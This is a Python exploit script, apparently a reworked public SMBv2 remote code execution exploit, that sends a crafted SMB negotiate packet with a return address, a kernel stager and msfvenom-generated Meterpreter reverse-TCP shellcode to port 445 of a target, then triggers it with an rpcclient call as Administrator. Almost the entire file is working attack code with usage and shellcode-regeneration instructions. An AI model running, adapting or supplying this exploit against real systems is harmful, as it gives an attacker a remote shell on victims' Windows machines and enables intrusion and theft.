#!/usr/bin/python

import sys
import subprocess
from socket import socket

try:
    target = sys.argv[1]
except IndexError:
    # Print usage information if no target IP is provided
    print('\nUsage: %s <target ip>\n' % sys.argv[0])
    print('Example:  re-write MS36299.py 192.168.1.1 \n')
    sys.exit(-1)

# Generate new shellcode using msfvenom:
# Syntax: msfvenom -p <payload> LHOST=<local host IP> LPORT=<local port> [OPTIONS] -f python
# Example: msfvenom -p windows/meterpreter/reverse_tcp LHOST=tun0 LPORT=443  EXITFUNC=thread  -f python

# New shellcode generated using msfvenom
shell = b""
shell += b"\xfc\xe8\x8f\x00\x00\x00\x60\x89\xe5\x31\xd2\x64"
shell += b"\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x31\xff\x8b"
shell += b"\x72\x28\x0f\xb7\x4a\x26\x31\xc0\xac\x3c\x61\x7c"
shell += b"\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49\x75\xef\x52"
shell += b"\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78"
shell += b"\x85\xc0\x74\x4c\x01\xd0\x8b\x48\x18\x8b\x58\x20"
shell += b"\x01\xd3\x50\x85\xc9\x74\x3c\x49\x31\xff\x8b\x34"
shell += b"\x8b\x01\xd6\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38"
shell += b"\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe0\x58"
shell += b"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"
shell += b"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b"
shell += b"\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12"
shell += b"\xe9\x80\xff\xff\xff\x5d\x68\x33\x32\x00\x00\x68"
shell += b"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\x89\xe8"
shell += b"\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
shell += b"\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x2d"
shell += b"\xb9\x68\x02\x00\x01\xbb\x89\xe6\x50\x50\x50\x50"
shell += b"\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97"
shell += b"\x6a\x10\x56\x57\x68\x99\xa5\x74\x61\xff\xd5\x85"
shell += b"\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00"
shell += b"\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f"
shell += b"\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68"
shell += b"\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5"
shell += b"\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9"
shell += b"\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00"
shell += b"\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff"
shell += b"\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff"
shell += b"\x0c\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff"
shell += b"\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb\xe0\x1d\x2a"
shell += b"\x0a\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a"
shell += b"\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00"
shell += b"\x53\xff\xd5"

host = target, 445

buff = b"\x00\x00\x03\x9e\xff\x53\x4d\x42"
buff += b"\x72\x00\x00\x00\x00\x18\x53\xc8"
buff += b"\x17\x02"  # high process ID
buff += b"\x00\xe9\x58\x01\x00\x00"
buff += b"\x00\x00\x00\x00\x00\x00\x00\x00"
buff += b"\x00\x00\xfe\xda\x00\x7b\x03\x02"
buff += b"\x04\x0d\xdf\xff" * 25
buff += b"\x00\x02\x53\x4d"
buff += b"\x42\x20\x32\x2e\x30\x30\x32\x00"
buff += b"\x00\x00\x00\x00" * 37
buff += b"\xff\xff\xff\xff" * 2
buff += b"\x42\x42\x42\x42" * 7
buff += b"\xb4\xff\xff\x3f"  # magic index
buff += b"\x41\x41\x41\x41" * 6
buff += b"\x09\x0d\xd0\xff"  # return address

# Your stager_sysenter_hook from metasploit here...

buff += b"\xfc\xfa\xeb\x1e\x5e\x68\x76\x01"
buff += b"\x00\x00\x59\x0f\x32\x89\x46\x5d"
buff += b"\x8b\x7e\x61\x89\xf8\x0f\x30\xb9"
buff += b"\x16\x02\x00\x00\xf3\xa4\xfb\xf4"
buff += b"\xeb\xfd\xe8\xdd\xff\xff\xff\x6a"
buff += b"\x00\x9c\x60\xe8\x00\x00\x00\x00"
buff += b"\x58\x8b\x58\x54\x89\x5c\x24\x24"
buff += b"\x81\xf9\xde\xc0\xad\xde\x75\x10"
buff += b"\x68\x76\x01\x00\x00\x59\x89\xd8"
buff += b"\x31\xd2\x0f\x30\x31\xc0\xeb\x31"
buff += b"\x8b\x32\x0f\xb6\x1e\x66\x81\xfb"
buff += b"\xc3\x00\x75\x25\x8b\x58\x5c\x8d"
buff += b"\x5b\x69\x89\x1a\xb8\x01\x00\x00"
buff += b"\x80\x0f\xa2\x81\xe2\x00\x00\x10"
buff += b"\x00\x74\x0e\xba\x00\xff\x3f\xc0"
buff += b"\x83\xc2\x04\x81\x22\xff\xff\xff"
buff += b"\x7f\x61\x9d\xc3\xff\xff\xff\xff"
buff += b"\x00\x04\xdf\xff\x00\x04\xfe\x7f"
buff += b"\x60\x6a\x30\x58\x99\x64\x8b\x18"
buff += b"\x39\x53\x0c\x74\x2b\x8b\x43\x10"
buff += b"\x8b\x40\x3c\x83\xc0\x28\x8b\x08"
buff += b"\x03\x48\x03\x81\xf9\x6c\x61\x73"
buff += b"\x73\x75\x15\xe8\x07\x00\x00\x00"
buff += b"\xe8\x0d\x00\x00\x00\xeb\x09\xb9"
buff += b"\xde\xc0\xad\xde\x89\xe2\x0f\x34"
buff += b"\x61\xc3\x81\xc4\x54\xf2\xff\xff"

buff += shell

# Connect to the target host
s = socket()
s.connect(host)

# Send the buffer containing the shellcode
s.send(buff)

# Close the socket connection
s.close()

# Trigger the above injected code via authenticated process.
subprocess.call("echo '1223456' | rpcclient -U Administrator %s" % (target), shell=True)